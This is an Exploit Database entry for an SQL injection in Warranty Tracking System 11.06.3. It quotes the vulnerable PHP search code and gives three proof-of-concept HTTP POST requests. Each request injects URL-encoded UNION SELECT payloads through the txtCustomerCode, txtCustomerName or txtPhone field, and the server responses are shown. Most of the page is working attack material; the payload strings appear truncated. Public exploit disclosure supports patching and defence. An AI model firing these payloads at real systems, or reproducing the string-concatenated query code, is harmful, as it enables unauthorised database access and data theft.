



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Warranty Tracking System 11.06.3 - 'txtCustomerCode' SQL Injection

EDB-ID:

45881

CVE:

N/A

EDB Verified: ✗

Author:

[IHSAN SENCAN](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[PHP](#)

Date:

2018-11-16

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

# Exploit Title: Warranty Tracking System 11.06.3 - 'txtCustomerCode' SQL
Injection
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://warrantytrack.org/
# Software Link:
https://kent.dl.sourceforge.net/project/warrantytrack/warrantytrack%20Rel.11.
# Version: 11.06.3
# Category: Webapps
# Tested on: Win7_x64/KaLiLinux_x64
# CVE: N/A

# //[PATH]//Customer//SearchCustomer.php
# ....
#83 $strSQL = "SELECT * FROM tblCustomers WHERE 1=1 ";
#84 if ( strlen($_POST["txtCustomerCode"])>0 )
#85     $strSQL .= " And cCustomerID Like '%" . $_POST["txtCustomerCode"] .
"%'";
#86
#87 if ( strlen($_POST["txtCustomerName"])>0 )
#88     $strSQL .= " And cName Like '%" . $_POST["txtCustomerName"] . "'";
#89
#90 if ( strlen($_POST["txtPhone"])>0 )
#91     $strSQL .= " And cPhone Like '%" . $_POST["txtPhone"] . "'";
#92
#93 $Result = mysql_query($strSQL);
#94
#95 while($Field_Customer = mysql_fetch_array($Result))
#96     {
# ....

# POC:
# 1)
# http://localhost/[PATH]/SearchCustomer.php?pDivAlert=NoCustomer
#
POST /PATH/customer/SearchCustomer.php?pDivAlert=NoCustomer HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=909k34togduf8v49mibgj6cpp5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 244
txtCustomerCode=%27%20%55%6e%69%4f%6e%20%53%65%6c%65%63%74%20%43%4f%4e%43%41%
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 06:03:04 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-
check=0
Pragma: no-cache
Content-Length: 4245
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC:
# 2)
# http://localhost/[PATH]/SearchCustomer.php?pDivAlert=NoCustomer
#
POST /PATH/customer/SearchCustomer.php?pDivAlert=NoCustomer HTTP/1.1
Host: TARGET

```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=909k34togduf8v49mibgj6cpp5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 244
txtCustomerName=%27%20%55%6e%69%4f%6e%20%53%65%6c%65%63%74%20%43%4f%4e%43%41%
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 06:05:13 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-
check=0
Pragma: no-cache
Content-Length: 4245
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC:
# 3)
# http://localhost/[PATH]/SearchCustomer.php?pDivAlert=NoCustomer
#
POST /PATH/customer/SearchCustomer.php?pDivAlert=NoCustomer HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=909k34togduf8v49mibgj6cpp5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 237
txtPhone=%27%20%55%6e%69%4f%6e%20%53%65%6c%65%63%74%20%43%4f%4e%43%41%54%5f%5
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 06:06:25 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-
check=0
Pragma: no-cache
Content-Length: 4252
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

```

Tags: [SQL Injection \(SQLi\)](#)Advisory/Source: [Link](#)

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.